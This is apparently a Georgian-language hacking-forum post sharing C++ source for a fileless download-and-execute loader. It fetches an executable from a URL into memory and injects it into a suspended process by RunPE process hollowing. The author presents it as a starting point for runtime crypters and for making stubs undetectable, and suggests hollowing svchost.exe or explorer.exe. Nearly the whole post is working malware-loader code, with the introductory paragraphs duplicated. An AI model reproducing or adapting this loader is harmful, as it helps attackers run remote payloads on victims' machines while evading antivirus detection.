პატარა ფუნქციაა რომელიც ლინკიდან გადმოსაწერ ფაილს შელკოდის სახით გაუშვებს თავის ან სხვა პროცესის მეხსიერებაში ახალი ნაკადის სახით
ამ მეთოდს იყენებენ ხშირად რანთაიმ კრიპტერები ნუ გადმოწერის გარეშე რათქმაუნდა
კოდი 7 ზე მუშაობს სხვაგან არ შემიმოწმებია
ამ ფუნქციის პლიუსი ის არის რომ დისკზე დაგდების გარეშე გაუშვას გადმოსაწერი ფაილი პირდაპირ ოპერატიულში
დამწყებებს ალბათ გამოაადგებათ მარტივად არის აქედან კრიპტერის დაწერა შესაძლებელი RunPE + Encrytion და შემდეგ სტაბის გაფუდვა
და ბოლოს კოდი რათქმაუნდა არ იმუშავებს .NET executable -ფაილებთან , ამისთვის სხვანაირად იქნება დასაწერი კონკრეტულად რანპე არ იმუშავებს
რამე არასწორედ თუ დავწერე შეგიძლიათ ჩაასწოროთ
ამ მეთოდს იყენებენ ხშირად რანთაიმ კრიპტერები ნუ გადმოწერის გარეშე რათქმაუნდა
კოდი 7 ზე მუშაობს სხვაგან არ შემიმოწმებია
ამ ფუნქციის პლიუსი ის არის რომ დისკზე დაგდების გარეშე გაუშვას გადმოსაწერი ფაილი პირდაპირ ოპერატიულში
დამწყებებს ალბათ გამოაადგებათ მარტივად არის აქედან კრიპტერის დაწერა შესაძლებელი RunPE + Encrytion და შემდეგ სტაბის გაფუდვა
და ბოლოს კოდი რათქმაუნდა არ იმუშავებს .NET executable -ფაილებთან , ამისთვის სხვანაირად იქნება დასაწერი კონკრეტულად რანპე არ იმუშავებს
რამე არასწორედ თუ დავწერე შეგიძლიათ ჩაასწოროთ

C++:
#include <Windows.h>
#include <urlmon.h>
#include<string>
#pragma comment (lib, "urlmon.lib")
//ოპერატიულში უშვებს შელკოდს
int NTRX_RUNPE32(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase = NULL;
void* pImageBase = NULL;
int count;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
char CurrentFilePath[1024];
GetModuleFileNameA(0, CurrentFilePath, 1024); // ეს არის საკუთარ პროცესში რო გაუშვას მაგისთვის ვიგებთ საკუტარ პაჩს
// თუმცა შეგვიძლია რამე სისტემური პროცესი გავუშვათ და იქ გავაკეთოთ
if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
{
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
// მაგალითად CurrentFilePath - ის მაგივრად გავუშვათ "C:\\Windows\\system32\\svchost.exe" ან explorer.exe ...
bool threadcreated = CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI);
if (threadcreated == true)
{
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase == 00000000) {
ResumeThread(PI.hThread);
ExitProcess(NULL);
return 1;
}
if (pImageBase > 0) {
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
}
LPSTR DownloadURLToBuffer(LPCSTR lpszURL)
{
LPSTR lpResult = NULL;
LPSTREAM lpStream;
if (lpszURL && SUCCEEDED(URLOpenBlockingStreamA(NULL, lpszURL, &lpStream, 0, NULL))) {
STATSTG statStream;
if (SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME))) {
DWORD dwSize = statStream.cbSize.LowPart + 1;
lpResult = (LPSTR)malloc(dwSize);
if (lpResult) {
LARGE_INTEGER liPos;
ZeroMemory(&liPos, sizeof(liPos));
ZeroMemory(lpResult, dwSize);
lpStream->Seek(liPos, STREAM_SEEK_SET, NULL);
lpStream->Read(lpResult, dwSize - 1, NULL);
}
}
lpStream->Release();
}
return lpResult;
}
int main()
{
std::string hiddenUrl = ("http://the.earth.li/~sgtatham/putty/latest/w32/putty.exe");
LPVOID FileData = DownloadURLToBuffer(hiddenUrl.c_str());
NTRX_RUNPE32(FileData);
ExitProcess(0);
}
Likes:
მარიამი and G30RG14N